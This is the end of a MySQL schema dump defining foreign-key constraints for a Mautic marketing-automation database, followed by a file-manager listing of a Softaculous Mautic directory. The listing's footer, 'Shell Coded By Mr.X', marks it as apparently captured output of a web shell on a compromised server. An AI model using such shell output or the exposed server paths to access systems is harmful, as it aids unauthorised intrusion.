  ADD CONSTRAINT `FK_C53367472298D193` FOREIGN KEY (`stage_id`) REFERENCES `[[dbprefix]]stages` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_C533674755458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]lead_tags_xref`
--
ALTER TABLE `[[dbprefix]]lead_tags_xref`
  ADD CONSTRAINT `FK_5C1F859955458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_5C1F8599BAD26311` FOREIGN KEY (`tag_id`) REFERENCES `[[dbprefix]]lead_tags` (`id`);

--
-- Constraints for table `[[dbprefix]]lead_utmtags`
--
ALTER TABLE `[[dbprefix]]lead_utmtags`
  ADD CONSTRAINT `FK_8024B13755458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]messages`
--
ALTER TABLE `[[dbprefix]]messages`
  ADD CONSTRAINT `FK_26A4A9D012469DE2` FOREIGN KEY (`category_id`) REFERENCES `[[dbprefix]]categories` (`id`) ON DELETE SET NULL;

--
-- Constraints for table `[[dbprefix]]message_channels`
--
ALTER TABLE `[[dbprefix]]message_channels`
  ADD CONSTRAINT `FK_8FF3FAFC537A1329` FOREIGN KEY (`message_id`) REFERENCES `[[dbprefix]]messages` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]message_projects_xref`
--
ALTER TABLE `[[dbprefix]]message_projects_xref`
  ADD CONSTRAINT `FK_F236C351166D1F9C` FOREIGN KEY (`project_id`) REFERENCES `[[dbprefix]]projects` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_F236C351537A1329` FOREIGN KEY (`message_id`) REFERENCES `[[dbprefix]]messages` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]message_queue`
--
ALTER TABLE `[[dbprefix]]message_queue`
  ADD CONSTRAINT `FK_ABAAE56055458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_ABAAE56071F7E88B` FOREIGN KEY (`event_id`) REFERENCES `[[dbprefix]]campaign_events` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]monitoring`
--
ALTER TABLE `[[dbprefix]]monitoring`
  ADD CONSTRAINT `FK_4969A45712469DE2` FOREIGN KEY (`category_id`) REFERENCES `[[dbprefix]]categories` (`id`) ON DELETE SET NULL;

--
-- Constraints for table `[[dbprefix]]monitoring_leads`
--
ALTER TABLE `[[dbprefix]]monitoring_leads`
  ADD CONSTRAINT `FK_30E1A6114CE1C902` FOREIGN KEY (`monitor_id`) REFERENCES `[[dbprefix]]monitoring` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_30E1A61155458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]monitor_post_count`
--
ALTER TABLE `[[dbprefix]]monitor_post_count`
  ADD CONSTRAINT `FK_35864F6B4CE1C902` FOREIGN KEY (`monitor_id`) REFERENCES `[[dbprefix]]monitoring` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]notifications`
--
ALTER TABLE `[[dbprefix]]notifications`
  ADD CONSTRAINT `FK_4BF1D53BA76ED395` FOREIGN KEY (`user_id`) REFERENCES `[[dbprefix]]users` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]oauth2_accesstokens`
--
ALTER TABLE `[[dbprefix]]oauth2_accesstokens`
  ADD CONSTRAINT `FK_9B1F734B19EB6921` FOREIGN KEY (`client_id`) REFERENCES `[[dbprefix]]oauth2_clients` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_9B1F734BA76ED395` FOREIGN KEY (`user_id`) REFERENCES `[[dbprefix]]users` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]oauth2_authcodes`
--
ALTER TABLE `[[dbprefix]]oauth2_authcodes`
  ADD CONSTRAINT `FK_A775582019EB6921` FOREIGN KEY (`client_id`) REFERENCES `[[dbprefix]]oauth2_clients` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_A7755820A76ED395` FOREIGN KEY (`user_id`) REFERENCES `[[dbprefix]]users` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]oauth2_clients`
--
ALTER TABLE `[[dbprefix]]oauth2_clients`
  ADD CONSTRAINT `FK_572AB1C9D60322AC` FOREIGN KEY (`role_id`) REFERENCES `[[dbprefix]]roles` (`id`);

--
-- Constraints for table `[[dbprefix]]oauth2_refreshtokens`
--
ALTER TABLE `[[dbprefix]]oauth2_refreshtokens`
  ADD CONSTRAINT `FK_589D7C5019EB6921` FOREIGN KEY (`client_id`) REFERENCES `[[dbprefix]]oauth2_clients` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_589D7C50A76ED395` FOREIGN KEY (`user_id`) REFERENCES `[[dbprefix]]users` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]oauth2_user_client_xref`
--
ALTER TABLE `[[dbprefix]]oauth2_user_client_xref`
  ADD CONSTRAINT `FK_D659B4CF19EB6921` FOREIGN KEY (`client_id`) REFERENCES `[[dbprefix]]oauth2_clients` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_D659B4CFA76ED395` FOREIGN KEY (`user_id`) REFERENCES `[[dbprefix]]users` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]pages`
--
ALTER TABLE `[[dbprefix]]pages`
  ADD CONSTRAINT `FK_39AA9B4912469DE2` FOREIGN KEY (`category_id`) REFERENCES `[[dbprefix]]categories` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_39AA9B499091A2FB` FOREIGN KEY (`translation_parent_id`) REFERENCES `[[dbprefix]]pages` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_39AA9B4991861123` FOREIGN KEY (`variant_parent_id`) REFERENCES `[[dbprefix]]pages` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]pages_draft`
--
ALTER TABLE `[[dbprefix]]pages_draft`
  ADD CONSTRAINT `FK_4BA910D3C4663E4` FOREIGN KEY (`page_id`) REFERENCES `[[dbprefix]]pages` (`id`);

--
-- Constraints for table `[[dbprefix]]page_hits`
--
ALTER TABLE `[[dbprefix]]page_hits`
  ADD CONSTRAINT `FK_20932E355458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_20932E394A4C7D4` FOREIGN KEY (`device_id`) REFERENCES `[[dbprefix]]lead_devices` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_20932E3A03F5E9F` FOREIGN KEY (`ip_id`) REFERENCES `[[dbprefix]]ip_addresses` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_20932E3A832C1C9` FOREIGN KEY (`email_id`) REFERENCES `[[dbprefix]]emails` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_20932E3B42D874D` FOREIGN KEY (`redirect_id`) REFERENCES `[[dbprefix]]page_redirects` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_20932E3C4663E4` FOREIGN KEY (`page_id`) REFERENCES `[[dbprefix]]pages` (`id`) ON DELETE SET NULL;

--
-- Constraints for table `[[dbprefix]]page_projects_xref`
--
ALTER TABLE `[[dbprefix]]page_projects_xref`
  ADD CONSTRAINT `FK_1D0F138C166D1F9C` FOREIGN KEY (`project_id`) REFERENCES `[[dbprefix]]projects` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_1D0F138CC4663E4` FOREIGN KEY (`page_id`) REFERENCES `[[dbprefix]]pages` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]permissions`
--
ALTER TABLE `[[dbprefix]]permissions`
  ADD CONSTRAINT `FK_CDCB0342D60322AC` FOREIGN KEY (`role_id`) REFERENCES `[[dbprefix]]roles` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]plugin_integration_settings`
--
ALTER TABLE `[[dbprefix]]plugin_integration_settings`
  ADD CONSTRAINT `FK_C1A491B8EC942BCF` FOREIGN KEY (`plugin_id`) REFERENCES `[[dbprefix]]plugins` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]points`
--
ALTER TABLE `[[dbprefix]]points`
  ADD CONSTRAINT `FK_8CC2CD012469DE2` FOREIGN KEY (`category_id`) REFERENCES `[[dbprefix]]categories` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_8CC2CD0FE54D947` FOREIGN KEY (`group_id`) REFERENCES `[[dbprefix]]point_groups` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]point_group_contact_score`
--
ALTER TABLE `[[dbprefix]]point_group_contact_score`
  ADD CONSTRAINT `FK_DB513B6E7A1254A` FOREIGN KEY (`contact_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_DB513B6FE54D947` FOREIGN KEY (`group_id`) REFERENCES `[[dbprefix]]point_groups` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]point_lead_action_log`
--
ALTER TABLE `[[dbprefix]]point_lead_action_log`
  ADD CONSTRAINT `FK_8C9DC36955458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_8C9DC369A03F5E9F` FOREIGN KEY (`ip_id`) REFERENCES `[[dbprefix]]ip_addresses` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_8C9DC369C028CEA2` FOREIGN KEY (`point_id`) REFERENCES `[[dbprefix]]points` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]point_lead_event_log`
--
ALTER TABLE `[[dbprefix]]point_lead_event_log`
  ADD CONSTRAINT `FK_A8B29AF155458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_A8B29AF171F7E88B` FOREIGN KEY (`event_id`) REFERENCES `[[dbprefix]]point_trigger_events` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_A8B29AF1A03F5E9F` FOREIGN KEY (`ip_id`) REFERENCES `[[dbprefix]]ip_addresses` (`id`) ON DELETE SET NULL;

--
-- Constraints for table `[[dbprefix]]point_projects_xref`
--
ALTER TABLE `[[dbprefix]]point_projects_xref`
  ADD CONSTRAINT `FK_B1D19FBF166D1F9C` FOREIGN KEY (`project_id`) REFERENCES `[[dbprefix]]projects` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_B1D19FBFC028CEA2` FOREIGN KEY (`point_id`) REFERENCES `[[dbprefix]]points` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]point_triggers`
--
ALTER TABLE `[[dbprefix]]point_triggers`
  ADD CONSTRAINT `FK_3251480012469DE2` FOREIGN KEY (`category_id`) REFERENCES `[[dbprefix]]categories` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_32514800FE54D947` FOREIGN KEY (`group_id`) REFERENCES `[[dbprefix]]point_groups` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]point_trigger_events`
--
ALTER TABLE `[[dbprefix]]point_trigger_events`
  ADD CONSTRAINT `FK_67474E135FDDDCD6` FOREIGN KEY (`trigger_id`) REFERENCES `[[dbprefix]]point_triggers` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]point_trigger_projects_xref`
--
ALTER TABLE `[[dbprefix]]point_trigger_projects_xref`
  ADD CONSTRAINT `FK_5E37740C166D1F9C` FOREIGN KEY (`project_id`) REFERENCES `[[dbprefix]]projects` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_5E37740C83A8FF7C` FOREIGN KEY (`point_trigger_id`) REFERENCES `[[dbprefix]]point_triggers` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]push_ids`
--
ALTER TABLE `[[dbprefix]]push_ids`
  ADD CONSTRAINT `FK_B28524AE55458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE SET NULL;

--
-- Constraints for table `[[dbprefix]]push_notifications`
--
ALTER TABLE `[[dbprefix]]push_notifications`
  ADD CONSTRAINT `FK_8DB111EE12469DE2` FOREIGN KEY (`category_id`) REFERENCES `[[dbprefix]]categories` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_8DB111EE9091A2FB` FOREIGN KEY (`translation_parent_id`) REFERENCES `[[dbprefix]]push_notifications` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]push_notification_list_xref`
--
ALTER TABLE `[[dbprefix]]push_notification_list_xref`
  ADD CONSTRAINT `FK_1287A4B7B9FC8874` FOREIGN KEY (`leadlist_id`) REFERENCES `[[dbprefix]]lead_lists` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_1287A4B7EF1A9D84` FOREIGN KEY (`notification_id`) REFERENCES `[[dbprefix]]push_notifications` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]push_notification_stats`
--
ALTER TABLE `[[dbprefix]]push_notification_stats`
  ADD CONSTRAINT `FK_12D999823DAE168B` FOREIGN KEY (`list_id`) REFERENCES `[[dbprefix]]lead_lists` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_12D9998255458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_12D99982A03F5E9F` FOREIGN KEY (`ip_id`) REFERENCES `[[dbprefix]]ip_addresses` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_12D99982EF1A9D84` FOREIGN KEY (`notification_id`) REFERENCES `[[dbprefix]]push_notifications` (`id`) ON DELETE SET NULL;

--
-- Constraints for table `[[dbprefix]]reports_schedulers`
--
ALTER TABLE `[[dbprefix]]reports_schedulers`
  ADD CONSTRAINT `FK_1166C9194BD2A4C0` FOREIGN KEY (`report_id`) REFERENCES `[[dbprefix]]reports` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]sms_messages`
--
ALTER TABLE `[[dbprefix]]sms_messages`
  ADD CONSTRAINT `FK_F8CB452D12469DE2` FOREIGN KEY (`category_id`) REFERENCES `[[dbprefix]]categories` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_F8CB452D9091A2FB` FOREIGN KEY (`translation_parent_id`) REFERENCES `[[dbprefix]]sms_messages` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]sms_message_list_xref`
--
ALTER TABLE `[[dbprefix]]sms_message_list_xref`
  ADD CONSTRAINT `FK_51567511B9FC8874` FOREIGN KEY (`leadlist_id`) REFERENCES `[[dbprefix]]lead_lists` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_51567511BD5C7E60` FOREIGN KEY (`sms_id`) REFERENCES `[[dbprefix]]sms_messages` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]sms_message_stats`
--
ALTER TABLE `[[dbprefix]]sms_message_stats`
  ADD CONSTRAINT `FK_F32DF3493DAE168B` FOREIGN KEY (`list_id`) REFERENCES `[[dbprefix]]lead_lists` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_F32DF34955458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_F32DF349A03F5E9F` FOREIGN KEY (`ip_id`) REFERENCES `[[dbprefix]]ip_addresses` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_F32DF349BD5C7E60` FOREIGN KEY (`sms_id`) REFERENCES `[[dbprefix]]sms_messages` (`id`) ON DELETE SET NULL;

--
-- Constraints for table `[[dbprefix]]sms_projects_xref`
--
ALTER TABLE `[[dbprefix]]sms_projects_xref`
  ADD CONSTRAINT `FK_133671E166D1F9C` FOREIGN KEY (`project_id`) REFERENCES `[[dbprefix]]projects` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_133671EBD5C7E60` FOREIGN KEY (`sms_id`) REFERENCES `[[dbprefix]]sms_messages` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]stages`
--
ALTER TABLE `[[dbprefix]]stages`
  ADD CONSTRAINT `FK_D4C89D12469DE2` FOREIGN KEY (`category_id`) REFERENCES `[[dbprefix]]categories` (`id`) ON DELETE SET NULL;

--
-- Constraints for table `[[dbprefix]]stage_lead_action_log`
--
ALTER TABLE `[[dbprefix]]stage_lead_action_log`
  ADD CONSTRAINT `FK_446226812298D193` FOREIGN KEY (`stage_id`) REFERENCES `[[dbprefix]]stages` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_4462268155458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_44622681A03F5E9F` FOREIGN KEY (`ip_id`) REFERENCES `[[dbprefix]]ip_addresses` (`id`) ON DELETE SET NULL;

--
-- Constraints for table `[[dbprefix]]stage_projects_xref`
--
ALTER TABLE `[[dbprefix]]stage_projects_xref`
  ADD CONSTRAINT `FK_7013387166D1F9C` FOREIGN KEY (`project_id`) REFERENCES `[[dbprefix]]projects` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_70133872298D193` FOREIGN KEY (`stage_id`) REFERENCES `[[dbprefix]]stages` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]tweets`
--
ALTER TABLE `[[dbprefix]]tweets`
  ADD CONSTRAINT `FK_854EE2DC12469DE2` FOREIGN KEY (`category_id`) REFERENCES `[[dbprefix]]categories` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_854EE2DC5DA1941` FOREIGN KEY (`asset_id`) REFERENCES `[[dbprefix]]assets` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_854EE2DCC4663E4` FOREIGN KEY (`page_id`) REFERENCES `[[dbprefix]]pages` (`id`) ON DELETE SET NULL;

--
-- Constraints for table `[[dbprefix]]tweet_stats`
--
ALTER TABLE `[[dbprefix]]tweet_stats`
  ADD CONSTRAINT `FK_2BAA75C81041E39B` FOREIGN KEY (`tweet_id`) REFERENCES `[[dbprefix]]tweets` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_2BAA75C855458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE SET NULL;

--
-- Constraints for table `[[dbprefix]]users`
--
ALTER TABLE `[[dbprefix]]users`
  ADD CONSTRAINT `FK_D5DDBD5D60322AC` FOREIGN KEY (`role_id`) REFERENCES `[[dbprefix]]roles` (`id`);

--
-- Constraints for table `[[dbprefix]]user_tokens`
--
ALTER TABLE `[[dbprefix]]user_tokens`
  ADD CONSTRAINT `FK_2F2EC59EA76ED395` FOREIGN KEY (`user_id`) REFERENCES `[[dbprefix]]users` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]video_hits`
--
ALTER TABLE `[[dbprefix]]video_hits`
  ADD CONSTRAINT `FK_EE3E02FD55458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_EE3E02FDA03F5E9F` FOREIGN KEY (`ip_id`) REFERENCES `[[dbprefix]]ip_addresses` (`id`) ON DELETE SET NULL;

--
-- Constraints for table `[[dbprefix]]webhooks`
--
ALTER TABLE `[[dbprefix]]webhooks`
  ADD CONSTRAINT `FK_642AF89B12469DE2` FOREIGN KEY (`category_id`) REFERENCES `[[dbprefix]]categories` (`id`) ON DELETE SET NULL;

--
-- Constraints for table `[[dbprefix]]webhook_events`
--
ALTER TABLE `[[dbprefix]]webhook_events`
  ADD CONSTRAINT `FK_D42ED5185C9BA60B` FOREIGN KEY (`webhook_id`) REFERENCES `[[dbprefix]]webhooks` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]webhook_logs`
--
ALTER TABLE `[[dbprefix]]webhook_logs`
  ADD CONSTRAINT `FK_9C29FD5C9BA60B` FOREIGN KEY (`webhook_id`) REFERENCES `[[dbprefix]]webhooks` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]webhook_queue`
--
ALTER TABLE `[[dbprefix]]webhook_queue`
  ADD CONSTRAINT `FK_DEDCFFF25C9BA60B` FOREIGN KEY (`webhook_id`) REFERENCES `[[dbprefix]]webhooks` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_DEDCFFF271F7E88B` FOREIGN KEY (`event_id`) REFERENCES `[[dbprefix]]webhook_events` (`id`) ON DELETE CASCADE;
COMMIT;

/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;

Filemanager

DIR : / var/ softaculous/ mautic/
Name Type Size Permission Actions
images Folder 0755
languages Folder 0755
php53 Folder 0755
php56 Folder 0755
php71 Folder 0755
php81 Folder 0755
php82 Folder 0755
.htaccess File 5.99 KB 0644
_clone.php File 3.87 KB 0644
check_webserver.php File 254 B 0644
edit.php File 4.91 KB 0644
edit.xml File 433 B 0644
extend.php File 8.81 KB 0644
fileindex.php File 464 B 0644
import.php File 3.38 KB 0644
info.xml File 4.6 KB 0644
install.js File 921 B 0644
install.php File 8.65 KB 0644
install.xml File 2.12 KB 0644
local.php File 487 B 0644
mautic.sql File 175.12 KB 0644
mautic.zip File 87.36 MB 0644
mautic_mariadb.sql File 189.34 KB 0644
md5 File 6.21 KB 0644
notes.txt File 2.88 KB 0644
update_pass.php File 496 B 0644

Copyright reserved © 2026 xtooler.online Shell Coded By Mr.X